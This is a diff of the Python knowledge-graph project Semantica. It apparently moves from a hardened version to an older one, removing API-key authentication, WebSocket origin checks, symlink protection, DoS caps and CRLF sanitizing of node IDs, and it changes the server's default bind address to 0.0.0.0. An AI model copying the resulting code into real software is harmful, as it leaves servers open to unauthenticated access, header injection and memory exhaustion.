# ``chromadb~=1.1.0``, which carries a pre-authentication code-injection advisory
|
||||
# (CVE-2026-45829) with no fixed release — including it here would fail the CI
|
||||
# dependency-audit/security gates. Install it explicitly via ``semantica[crewai]``.
|
||||
all = [
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,explorer]",
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,agno]"
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,explorer]",
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,agno]"
|
||||
]
|
||||
|
||||
# ---------------- ENTRYPOINTS ----------------
|
||||
|
||||
-7167
File diff suppressed because it is too large
Load Diff
@@ -10,7 +10,7 @@ Main exports:
|
||||
- Config: Configuration management
|
||||
"""
|
||||
|
||||
__version__ = "0.6.5"
|
||||
__version__ = "0.6.0"
|
||||
__author__ = "Semantica Contributors"
|
||||
__license__ = "MIT"
|
||||
|
||||
|
||||
+1
-11
@@ -4065,7 +4065,7 @@ def server(ctx: click.Context) -> None:
|
||||
@click.option("--port", default=8000, type=int, show_default=True)
|
||||
@click.option("--workers", default=1, type=int, show_default=True)
|
||||
@click.option("--reload", is_flag=True, default=False, help="Enable hot reload.")
|
||||
@click.option("--host", default="127.0.0.1", show_default=True)
|
||||
@click.option("--host", default="0.0.0.0", show_default=True)
|
||||
@click.pass_obj
|
||||
def server_start(cli_ctx: CLIContext, port: int, workers: int, reload: bool, host: str) -> None:
|
||||
"""Start the REST API server.
|
||||
@@ -4076,16 +4076,6 @@ def server_start(cli_ctx: CLIContext, port: int, workers: int, reload: bool, hos
|
||||
"""
|
||||
cli_ctx = _require_ctx(cli_ctx)
|
||||
|
||||
_LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"}
|
||||
if host not in _LOOPBACK_HOSTS:
|
||||
console.print(
|
||||
f"[{_WARN_STY}] ⚠[/{_WARN_STY}] Binding to [cyan]{host}[/cyan] exposes "
|
||||
"the server to the network. Set SEMANTICA_API_KEY before doing this "
|
||||
"in any reachable environment — without it, protected routes refuse "
|
||||
"all requests (503), and with SEMANTICA_ALLOW_ANONYMOUS=true they are "
|
||||
"wide open."
|
||||
)
|
||||
|
||||
def _action() -> None:
|
||||
import subprocess as sp
|
||||
cmd = [
|
||||
|
||||
@@ -59,11 +59,9 @@ License: MIT
|
||||
"""
|
||||
|
||||
import copy
|
||||
import errno
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import tempfile
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
@@ -1867,24 +1865,10 @@ class AgentMemory:
|
||||
if "\n" not in data and "\r" not in data:
|
||||
candidate = Path(data)
|
||||
try:
|
||||
candidate_exists = candidate.exists()
|
||||
except OSError as exc:
|
||||
error_message = (
|
||||
"Failed to inspect possible Markdown import "
|
||||
f"path {candidate}: {exc.strerror or str(exc)}"
|
||||
)
|
||||
if exc.errno is None:
|
||||
error = OSError(error_message)
|
||||
else:
|
||||
error = OSError(
|
||||
exc.errno,
|
||||
error_message,
|
||||
exc.filename or str(candidate),
|
||||
)
|
||||
raise error from exc
|
||||
|
||||
if candidate_exists:
|
||||
documents = self._read_markdown_path(candidate)
|
||||
if candidate.exists():
|
||||
documents = self._read_markdown_path(candidate)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if documents is None:
|
||||
documents = [("markdown document", data)]
|
||||
@@ -1908,49 +1892,7 @@ class AgentMemory:
|
||||
|
||||
return memories
|
||||
|
||||
def _read_markdown_file_content(self, file_path: Path) -> str:
|
||||
if file_path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {file_path}")
|
||||
|
||||
flags = os.O_RDONLY
|
||||
if hasattr(os, "O_NOFOLLOW"):
|
||||
# On POSIX, O_NOFOLLOW makes os.open() fail with ELOOP if the
|
||||
# final path component is a symlink, atomically closing the TOCTOU
|
||||
# window between the is_symlink() check above and the open call.
|
||||
# On Windows, O_NOFOLLOW is not available; the is_symlink() pre-check
|
||||
# above is the only symlink defense and remains vulnerable to a narrow
|
||||
# race. The fstat()/S_ISREG guard below still rejects special files
|
||||
# (FIFOs, devices) on both platforms.
|
||||
flags |= os.O_NOFOLLOW
|
||||
|
||||
try:
|
||||
fd = os.open(str(file_path), flags)
|
||||
except OSError as exc:
|
||||
if exc.errno == getattr(errno, "ELOOP", None):
|
||||
raise ValueError(
|
||||
f"Symlink Markdown import paths are rejected: {file_path}"
|
||||
) from exc
|
||||
raise
|
||||
|
||||
try:
|
||||
stat_res = os.fstat(fd)
|
||||
if not stat.S_ISREG(stat_res.st_mode):
|
||||
raise ValueError(
|
||||
f"Markdown import path is not a regular file: {file_path}"
|
||||
)
|
||||
with open(fd, "r", encoding="utf-8", closefd=True) as f:
|
||||
return f.read()
|
||||
except Exception:
|
||||
try:
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
def _read_markdown_path(self, path: Path) -> List[Tuple[str, str]]:
|
||||
if path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {path}")
|
||||
|
||||
if not path.exists():
|
||||
raise FileNotFoundError(f"Markdown import path does not exist: {path}")
|
||||
|
||||
@@ -1960,7 +1902,6 @@ class AgentMemory:
|
||||
file_path
|
||||
for file_path in path.iterdir()
|
||||
if file_path.is_file()
|
||||
and not file_path.is_symlink()
|
||||
and file_path.suffix.lower() in self._MARKDOWN_EXTENSIONS
|
||||
),
|
||||
key=lambda file_path: (file_path.name.casefold(), file_path.name),
|
||||
@@ -1971,7 +1912,7 @@ class AgentMemory:
|
||||
raise ValueError(f"Markdown import path is not a file or directory: {path}")
|
||||
|
||||
return [
|
||||
(str(file_path), self._read_markdown_file_content(file_path))
|
||||
(str(file_path), file_path.read_text(encoding="utf-8"))
|
||||
for file_path in file_paths
|
||||
]
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -83,22 +83,12 @@ def main(argv=None):
|
||||
|
||||
_LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"}
|
||||
if args.host not in _LOOPBACK_HOSTS:
|
||||
import os as _os
|
||||
if _os.environ.get("SEMANTICA_ALLOW_ANONYMOUS", "").strip().lower() == "true":
|
||||
_err.print(
|
||||
f"[bold yellow]Warning:[/bold yellow] Binding to "
|
||||
f"[cyan]{args.host}[/cyan] with SEMANTICA_ALLOW_ANONYMOUS=true "
|
||||
"exposes the Explorer to the network with no authentication — "
|
||||
"all graph data will be readable and writable by any host that "
|
||||
"can reach this port."
|
||||
)
|
||||
elif not _os.environ.get("SEMANTICA_API_KEY"):
|
||||
_err.print(
|
||||
f"[bold yellow]Warning:[/bold yellow] Binding to "
|
||||
f"[cyan]{args.host}[/cyan] but SEMANTICA_API_KEY is not set — "
|
||||
"protected routes will refuse all requests (503) until it is "
|
||||
"configured."
|
||||
)
|
||||
_err.print(
|
||||
f"[bold yellow]Warning:[/bold yellow] Binding to "
|
||||
f"[cyan]{args.host}[/cyan] exposes the Explorer to the network. "
|
||||
"The API has no authentication — all graph data will be readable "
|
||||
"and writable by any host that can reach this port."
|
||||
)
|
||||
|
||||
if not args.no_browser:
|
||||
import threading
|
||||
|
||||
+17
-60
@@ -8,14 +8,13 @@ from contextlib import asynccontextmanager
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from fastapi import Depends, FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
|
||||
from fastapi import FastAPI, HTTPException, Request, WebSocket, WebSocketDisconnect
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
from fastapi.responses import FileResponse, HTMLResponse, JSONResponse
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
|
||||
from .. import __version__
|
||||
from ..context.context_graph import ContextGraph
|
||||
from .dependencies import anonymous_access_allowed, get_expected_api_key, is_valid_api_key, require_auth
|
||||
from .session import GraphSession
|
||||
from .ws import ConnectionManager
|
||||
|
||||
@@ -98,22 +97,6 @@ def create_app(
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI):
|
||||
import logging as _lifespan_logging
|
||||
_lifespan_logger = _lifespan_logging.getLogger(__name__)
|
||||
if anonymous_access_allowed():
|
||||
_lifespan_logger.warning(
|
||||
"Explorer is running with SEMANTICA_ALLOW_ANONYMOUS=true — "
|
||||
"all API routes are unauthenticated. Do not expose this "
|
||||
"process beyond localhost."
|
||||
)
|
||||
elif get_expected_api_key():
|
||||
_lifespan_logger.info("Explorer API authentication: enabled (SEMANTICA_API_KEY set).")
|
||||
else:
|
||||
_lifespan_logger.warning(
|
||||
"Explorer API authentication: NOT CONFIGURED. All protected "
|
||||
"routes will return 503 until SEMANTICA_API_KEY is set."
|
||||
)
|
||||
|
||||
app.state.event_loop = asyncio.get_running_loop()
|
||||
app.state.ws_manager = ConnectionManager()
|
||||
app.state.session = active_session
|
||||
@@ -130,17 +113,17 @@ def create_app(
|
||||
app.state.explorer_settings = settings
|
||||
|
||||
# allow_credentials lets browsers send cookies/auth headers cross-origin.
|
||||
# Credentials aren't needed for the X-API-Key auth scheme below, and
|
||||
# enabling them when origins are broadened creates cross-site request
|
||||
# risk. Set EXPLORER_CORS_CREDENTIALS=true explicitly to opt in (e.g.
|
||||
# for a reverse-proxy setup that injects its own cookie-based auth).
|
||||
# The Explorer has no authentication, so credentials serve no purpose and
|
||||
# enabling them when origins are broadened creates cross-site request risk.
|
||||
# Set EXPLORER_CORS_CREDENTIALS=true explicitly to opt in (e.g. for a
|
||||
# reverse-proxy setup that injects its own auth layer).
|
||||
_allow_credentials = os.environ.get("EXPLORER_CORS_CREDENTIALS", "false").lower() == "true"
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=settings["allowed_origins"],
|
||||
allow_credentials=_allow_credentials,
|
||||
allow_methods=["GET", "POST", "DELETE", "OPTIONS"],
|
||||
allow_headers=["Content-Type", "Authorization", "X-API-Key"],
|
||||
allow_headers=["Content-Type", "Authorization"],
|
||||
max_age=600,
|
||||
)
|
||||
|
||||
@@ -176,48 +159,22 @@ def create_app(
|
||||
from .routes.temporal import router as temporal_router
|
||||
from .routes.vocabulary import router as vocabulary_router
|
||||
|
||||
_auth = [Depends(require_auth)]
|
||||
app.include_router(graph_router, dependencies=_auth)
|
||||
app.include_router(analytics_router, dependencies=_auth)
|
||||
app.include_router(decisions_router, dependencies=_auth)
|
||||
app.include_router(temporal_router, dependencies=_auth)
|
||||
app.include_router(enrich_router, dependencies=_auth)
|
||||
app.include_router(export_import_router, dependencies=_auth)
|
||||
app.include_router(annotations_router, dependencies=_auth)
|
||||
app.include_router(sparql_router, dependencies=_auth)
|
||||
app.include_router(provenance_router, dependencies=_auth)
|
||||
app.include_router(vocabulary_router, dependencies=_auth)
|
||||
app.include_router(ontology_router, dependencies=_auth)
|
||||
app.include_router(graph_router)
|
||||
app.include_router(analytics_router)
|
||||
app.include_router(decisions_router)
|
||||
app.include_router(temporal_router)
|
||||
app.include_router(enrich_router)
|
||||
app.include_router(export_import_router)
|
||||
app.include_router(annotations_router)
|
||||
app.include_router(sparql_router)
|
||||
app.include_router(provenance_router)
|
||||
app.include_router(vocabulary_router)
|
||||
app.include_router(ontology_router)
|
||||
|
||||
_WS_MAX_MESSAGE_BYTES = 64 * 1024 # 64 KB — control messages only
|
||||
|
||||
@app.websocket("/ws/graph-updates")
|
||||
async def websocket_endpoint(websocket: WebSocket):
|
||||
# CORSMiddleware doesn't cover WebSocket handshakes (Starlette's
|
||||
# CORS support only wraps HTTP), so under SEMANTICA_ALLOW_ANONYMOUS
|
||||
# the key check below accepts any origin — loopback binding isn't a
|
||||
# boundary against a browser, since any page the operator has open
|
||||
# can still reach ws://localhost:.../ws/graph-updates directly.
|
||||
# Reject a foreign Origin explicitly here, against the same
|
||||
# allowlist CORSMiddleware already enforces for HTTP
|
||||
# (GHSA-4643-wpgq-w329). Browsers always send Origin on a
|
||||
# cross-origin WebSocket handshake; native/CLI clients omit it
|
||||
# entirely, so a missing Origin is allowed through — the browser is
|
||||
# the only threat this check is closing.
|
||||
origin = websocket.headers.get("origin")
|
||||
allowed_origins = app.state.explorer_settings["allowed_origins"]
|
||||
if origin is not None and origin not in allowed_origins:
|
||||
await websocket.close(code=4403) # forbidden
|
||||
return
|
||||
|
||||
# Browsers can't set custom headers on a WebSocket handshake, so
|
||||
# accept the key via header (non-browser clients) or query param
|
||||
# (browser clients), same SEMANTICA_API_KEY the REST routes check.
|
||||
candidate = websocket.headers.get("x-api-key") or websocket.query_params.get("api_key")
|
||||
if not is_valid_api_key(candidate):
|
||||
await websocket.close(code=4401) # unauthorized
|
||||
return
|
||||
|
||||
manager: ConnectionManager = app.state.ws_manager
|
||||
await manager.connect(websocket)
|
||||
await manager.send_personal(websocket, "connection_ack", {"connected": True})
|
||||
|
||||
@@ -2,75 +2,14 @@
|
||||
Semantica Explorer : FastAPI Dependencies
|
||||
|
||||
Provides ``Depends()``-compatible callables for injecting the
|
||||
current ``GraphSession`` and ``ConnectionManager`` into route handlers,
|
||||
and for enforcing API-key authentication on protected routes.
|
||||
current ``GraphSession`` and ``ConnectionManager`` into route handlers.
|
||||
"""
|
||||
|
||||
import hmac
|
||||
import os
|
||||
from typing import Optional
|
||||
|
||||
from fastapi import Request, HTTPException, Security, status
|
||||
from fastapi.security.api_key import APIKeyHeader
|
||||
from fastapi import Request, HTTPException, status
|
||||
|
||||
from .session import GraphSession
|
||||
from .ws import ConnectionManager
|
||||
|
||||
_api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)
|
||||
|
||||
|
||||
def get_expected_api_key() -> Optional[str]:
|
||||
"""Read the configured API key from the environment on every call.
|
||||
|
||||
Read fresh (not cached) so tests and ops tooling can rotate the key
|
||||
without restarting the process.
|
||||
"""
|
||||
return os.environ.get("SEMANTICA_API_KEY") or None
|
||||
|
||||
|
||||
def anonymous_access_allowed() -> bool:
|
||||
return os.environ.get("SEMANTICA_ALLOW_ANONYMOUS", "").strip().lower() == "true"
|
||||
|
||||
|
||||
def is_valid_api_key(candidate: Optional[str]) -> bool:
|
||||
"""Return True if *candidate* matches the configured key, or if the
|
||||
server has explicitly opted into anonymous access."""
|
||||
if anonymous_access_allowed():
|
||||
return True
|
||||
expected = get_expected_api_key()
|
||||
if not expected:
|
||||
return False
|
||||
return bool(candidate) and hmac.compare_digest(candidate, expected)
|
||||
|
||||
|
||||
def require_auth(api_key: Optional[str] = Security(_api_key_header)) -> None:
|
||||
"""Dependency enforcing the ``X-API-Key`` header on protected routes.
|
||||
|
||||
Every Explorer/API router (except health/info/static assets) should be
|
||||
mounted with ``dependencies=[Depends(require_auth)]``. If
|
||||
SEMANTICA_API_KEY is unset, requests are refused with 503 rather than
|
||||
silently served unauthenticated — SEMANTICA_ALLOW_ANONYMOUS=true opts
|
||||
into that explicitly for local development.
|
||||
"""
|
||||
if anonymous_access_allowed():
|
||||
return
|
||||
expected = get_expected_api_key()
|
||||
if not expected:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
|
||||
detail=(
|
||||
"Server is not configured for authentication. Set the "
|
||||
"SEMANTICA_API_KEY environment variable, or explicitly opt "
|
||||
"into unauthenticated access (development only) with "
|
||||
"SEMANTICA_ALLOW_ANONYMOUS=true."
|
||||
),
|
||||
)
|
||||
if not api_key or not hmac.compare_digest(api_key, expected):
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="Invalid or missing API key. Send it as the X-API-Key header.",
|
||||
)
|
||||
|
||||
|
||||
def get_session(request: Request) -> GraphSession:
|
||||
"""Retrieve the GraphSession stored on ``app.state``."""
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Enrichment and reasoning routes.
|
||||
"""
|
||||
|
||||
@@ -26,23 +26,6 @@ from ..session import GraphSession
|
||||
router = APIRouter(tags=["Enrichment"])
|
||||
_FACT_RE = re.compile(r"^(?P<predicate>[A-Za-z_][\w:-]*)\((?P<args>.*)\)$")
|
||||
|
||||
# SECURITY: Cap the candidate pool loaded by link prediction to prevent a
|
||||
# single request from exhausting server memory (CWE-770). Without a cap the
|
||||
# endpoint calls session.get_nodes(limit=999_999) and scores every node in
|
||||
# O(N^2), consuming ~1.6 GB RAM at the maximum limit (measured via
|
||||
# tracemalloc at 1.7 KB/node with 128-dim embeddings; see poc_runner.py).
|
||||
# Mirrors the SPARQL DoS fix from PR #898 (50k cap + semaphore).
|
||||
#
|
||||
# NOTE: session.get_nodes()/get_edges() (paginate_nodes/paginate_edges)
|
||||
# normalize the *entire* matching set before applying `limit` -- passing
|
||||
# limit=_LINK_PREDICTION_MAX_NODES does not bound that work. The `total`
|
||||
# they return can only be checked *after* paying that full cost. To actually
|
||||
# reject an oversized graph before doing that work, check session.get_raw_counts()
|
||||
# (O(1) collection lengths) first -- see predict_links() below.
|
||||
_LINK_PREDICTION_MAX_NODES = 10_000
|
||||
_LINK_PREDICTION_MAX_EDGES = 50_000
|
||||
_link_prediction_semaphore = asyncio.Semaphore(2)
|
||||
|
||||
|
||||
def _safe_dict(obj) -> dict:
|
||||
if isinstance(obj, dict):
|
||||
@@ -176,30 +159,26 @@ async def extract_entities(
|
||||
session: GraphSession = Depends(get_session),
|
||||
):
|
||||
try:
|
||||
from ...semantic_extract import NamedEntityRecognizer, RelationExtractor
|
||||
from ...semantic_extract.methods import extract_entities as _extract_entities
|
||||
from ...semantic_extract.methods import extract_relations as _extract_relations
|
||||
|
||||
entities = await asyncio.to_thread(_extract_entities, body.text)
|
||||
relations = await asyncio.to_thread(_extract_relations, body.text)
|
||||
|
||||
ent_list = entities if isinstance(entities, list) else getattr(entities, "entities", [])
|
||||
rel_list = relations if isinstance(relations, list) else getattr(relations, "relations", [])
|
||||
|
||||
return EnrichExtractResponse(
|
||||
entities=[_safe_dict(entity) for entity in ent_list],
|
||||
relations=[_safe_dict(relation) for relation in rel_list],
|
||||
)
|
||||
except ImportError:
|
||||
raise HTTPException(
|
||||
status_code=503,
|
||||
detail="semantic_extract module not available. Ensure spacy and transformers are installed.",
|
||||
)
|
||||
|
||||
recognizer = NamedEntityRecognizer(confidence_threshold=0.7)
|
||||
extractor = RelationExtractor(confidence_threshold=0.6)
|
||||
|
||||
entities = await asyncio.to_thread(recognizer.extract_entities, body.text)
|
||||
|
||||
ent_list = entities if isinstance(entities, list) else getattr(entities, "entities", [])
|
||||
|
||||
relations = await asyncio.to_thread(
|
||||
extractor.extract_relations, body.text, ent_list
|
||||
)
|
||||
|
||||
rel_list = relations if isinstance(relations, list) else getattr(relations, "relations", [])
|
||||
|
||||
return EnrichExtractResponse(
|
||||
entities=[_safe_dict(entity) for entity in ent_list],
|
||||
relations=[_safe_dict(relation) for relation in rel_list],
|
||||
)
|
||||
except Exception as exc:
|
||||
raise HTTPException(status_code=422, detail=f"Extraction failed: {exc}")
|
||||
|
||||
|
||||
@router.post("/api/enrich/links", response_model=LinkPredictionResponse)
|
||||
@@ -215,80 +194,40 @@ async def predict_links(
|
||||
if node is None:
|
||||
raise HTTPException(status_code=404, detail=f"Node '{body.node_id}' not found")
|
||||
|
||||
# SECURITY: Acquire semaphore BEFORE loading data so concurrent requests
|
||||
# cannot pile up expensive threadpool work and memory pressure (Qodo #2).
|
||||
async with _link_prediction_semaphore:
|
||||
# SECURITY: Reject an oversized graph using the O(1) raw collection
|
||||
# lengths BEFORE calling get_nodes()/get_edges(), which normalize the
|
||||
# *entire* matching set before applying `limit` -- checking `total`
|
||||
# only after that call still pays the full O(graph size) cost the cap
|
||||
# is meant to avoid.
|
||||
total_nodes, total_edges = await asyncio.to_thread(session.get_raw_counts)
|
||||
if total_nodes > _LINK_PREDICTION_MAX_NODES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_nodes:,} nodes; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_NODES:,} nodes to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
if total_edges > _LINK_PREDICTION_MAX_EDGES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_edges:,} edges; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_EDGES:,} edges to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)
|
||||
edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)
|
||||
|
||||
# SECURITY: Load at most _LINK_PREDICTION_MAX_NODES candidates.
|
||||
# The hardcoded limit in the original code consumed ~1.6 GB RAM
|
||||
# per request and had no concurrency guard, making it trivially DoS-able.
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=_LINK_PREDICTION_MAX_NODES)
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges if edge.get("source") == body.node_id
|
||||
} | {
|
||||
edge.get("source") for edge in edges if edge.get("target") == body.node_id
|
||||
}
|
||||
|
||||
# Load edges specific to the queried node rather than a globally
|
||||
# truncated page — avoids missing neighbours when the node's edges
|
||||
# fall outside the first page (Qodo #3).
|
||||
edges_out, _ = await asyncio.to_thread(
|
||||
session.get_edges, source=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
edges_in, _ = await asyncio.to_thread(
|
||||
session.get_edges, target=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges_out
|
||||
} | {
|
||||
edge.get("source") for edge in edges_in
|
||||
}
|
||||
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
return LinkPredictionResponse(node_id=body.node_id, predictions=scored[: body.top_n])
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Import and export routes for graph datasets.
|
||||
"""
|
||||
|
||||
@@ -6,7 +6,6 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
|
||||
from fastapi import APIRouter, Depends, File, HTTPException, UploadFile
|
||||
from fastapi.responses import Response
|
||||
@@ -23,33 +22,6 @@ _IMPORT_MAX_BYTES = 50 * 1024 * 1024 # 50 MB
|
||||
# Do not add extensions here unless a corresponding parsing branch exists below.
|
||||
_ALLOWED_IMPORT_EXTENSIONS = frozenset({".json", ".csv"})
|
||||
|
||||
# SECURITY: Strip characters from imported node IDs that would enable stored
|
||||
# HTTP response header injection (CWE-20 / CWE-113). These IDs are later
|
||||
# reflected verbatim into Content-Disposition filename= headers by the
|
||||
# provenance report endpoint -- CRLF sequences in an ID can split the HTTP
|
||||
# response and inject arbitrary headers (Set-Cookie, Content-Type, etc.).
|
||||
# NUL bytes truncate filenames on POSIX and some Windows APIs.
|
||||
_UNSAFE_ID_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_IMPORT_NODE_ID_LEN = 512
|
||||
|
||||
|
||||
def _sanitize_import_node_id(raw: object) -> str:
|
||||
"""Sanitize a node ID arriving from an uploaded CSV or JSON file.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes, then length-caps the
|
||||
result. These are the characters that enable CRLF header injection when
|
||||
the ID is later used in a Content-Disposition filename= parameter.
|
||||
"""
|
||||
if raw is None:
|
||||
return ""
|
||||
cleaned = _UNSAFE_ID_CHARS.sub("_", str(raw).strip())
|
||||
if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN:
|
||||
raise HTTPException(
|
||||
status_code=422,
|
||||
detail=f"Node ID exceeds maximum length of {_MAX_IMPORT_NODE_ID_LEN} characters.",
|
||||
)
|
||||
return cleaned
|
||||
|
||||
|
||||
def _import_response(nodes_added: int, edges_added: int, message: str = "Import successful") -> ImportResponse:
|
||||
return ImportResponse(
|
||||
@@ -105,19 +77,12 @@ async def import_file(
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
if "properties" in raw_node:
|
||||
# SECURITY: this pre-built-node path bypasses the id/type/properties
|
||||
# construction below entirely, so it must sanitize the id itself --
|
||||
# otherwise a payload like {"id": "<crlf>", "properties": {}} skips
|
||||
# _sanitize_import_node_id() completely (CWE-20/CWE-113 bypass).
|
||||
safe_node_id = _sanitize_import_node_id(
|
||||
raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))
|
||||
)
|
||||
nodes.append({**raw_node, "id": safe_node_id})
|
||||
nodes.append(raw_node)
|
||||
continue
|
||||
metadata = raw_node.get("metadata", {}) or {}
|
||||
nodes.append(
|
||||
{
|
||||
"id": _sanitize_import_node_id(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"id": str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {
|
||||
"content": raw_node.get("text", raw_node.get("content", raw_node.get("id", ""))),
|
||||
@@ -137,8 +102,8 @@ async def import_file(
|
||||
{
|
||||
"id": raw_edge.get("id", raw_edge.get("edge_id")),
|
||||
"familyId": raw_edge.get("familyId", raw_edge.get("family_id")),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"type": raw_edge.get("type", raw_edge.get("relationship", "related_to")),
|
||||
"weight": float(raw_edge.get("weight", 1.0)),
|
||||
"properties": edge_properties,
|
||||
@@ -194,8 +159,8 @@ async def import_file(
|
||||
{
|
||||
"id": row.get("id") or row.get("edge_id"),
|
||||
"familyId": row.get("familyId") or row.get("family_id"),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"type": row.get("type") or row.get("relationship") or row.get(":TYPE") or "related_to",
|
||||
"weight": float(row.get("weight", 1.0) or 1.0),
|
||||
"properties": edge_props,
|
||||
@@ -209,7 +174,7 @@ async def import_file(
|
||||
}
|
||||
nodes.append(
|
||||
{
|
||||
"id": _sanitize_import_node_id(node_id),
|
||||
"id": str(node_id),
|
||||
"type": row.get("type") or row.get("label") or row.get(":LABEL") or "entity",
|
||||
"properties": node_props,
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ import uuid
|
||||
from datetime import datetime, UTC
|
||||
from difflib import SequenceMatcher
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
from urllib.parse import urljoin, urlparse
|
||||
from urllib.parse import urlparse
|
||||
from typing_extensions import Literal
|
||||
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query, Request
|
||||
@@ -978,18 +978,8 @@ def _normalize_format(fmt: Optional[str]) -> str:
|
||||
return _FORMAT_ALIASES.get(lower, lower)
|
||||
|
||||
|
||||
def _validate_fetch_url(url: str) -> List[str]:
|
||||
"""Reject non-HTTP(S) schemes and private/loopback/link-local targets.
|
||||
|
||||
Returns every resolved, validated IP address (deduplicated, in
|
||||
resolution order) so the caller can pin the actual connection to them
|
||||
(see _make_pinned_session) with fallback across all of them — not just
|
||||
the first — since a hostname can have multiple A/AAAA records and the
|
||||
first one isn't guaranteed reachable. Resolving the hostname again at
|
||||
connect time would open a DNS check-then-use window (a low-TTL or
|
||||
rebinding DNS answer could differ between this check and the client's
|
||||
own lookup), which is what pinning to these specific addresses avoids.
|
||||
"""
|
||||
def _validate_fetch_url(url: str) -> None:
|
||||
"""Reject non-HTTP(S) schemes and private/loopback/link-local targets."""
|
||||
parsed = urlparse(url)
